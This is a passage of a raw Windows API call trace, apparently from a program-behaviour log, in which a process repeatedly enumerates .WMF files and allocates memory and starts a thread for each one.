	[0243.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.963] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1
	[0243.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2134
	[0243.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.966] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1
	[0243.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2138
	[0243.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.969] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1
	[0243.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x213c
	[0243.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.972] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1
	[0243.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140
	[0244.105] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.106] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1
	[0244.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2144
	[0244.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.110] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1
	[0244.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2148
	[0244.112] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.113] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1
	[0244.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214c
	[0244.115] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.116] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1
	[0244.116] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150
	[0244.118] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.118] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1
	[0244.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2154
	[0244.120] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.121] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1
	[0244.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2158
	[0244.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.123] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1
	[0244.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x215c
	[0244.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1
	[0244.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2160
	[0244.127] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.127] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1
	[0244.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2164
	[0244.129] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.130] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1
	[0244.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2168
	[0244.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.132] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1
	[0244.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x216c
	[0244.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.134] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1
	[0244.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2170
	[0244.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.137] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1
	[0244.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2174
	[0244.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.139] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1
	[0244.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2178
	[0244.276] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.277] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1
	[0244.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x217c
	[0244.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.280] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1
	[0244.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2180
	[0244.282] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.282] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1
	[0244.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2184
	[0244.284] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.285] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1
	[0244.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2188
	[0244.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.287] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1
	[0244.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218c
	[0244.289] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.289] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1
	[0244.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2190
	[0244.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.292] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1
	[0244.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2194
	[0244.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.294] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1
	[0244.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2198
	[0244.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.297] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1
	[0244.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
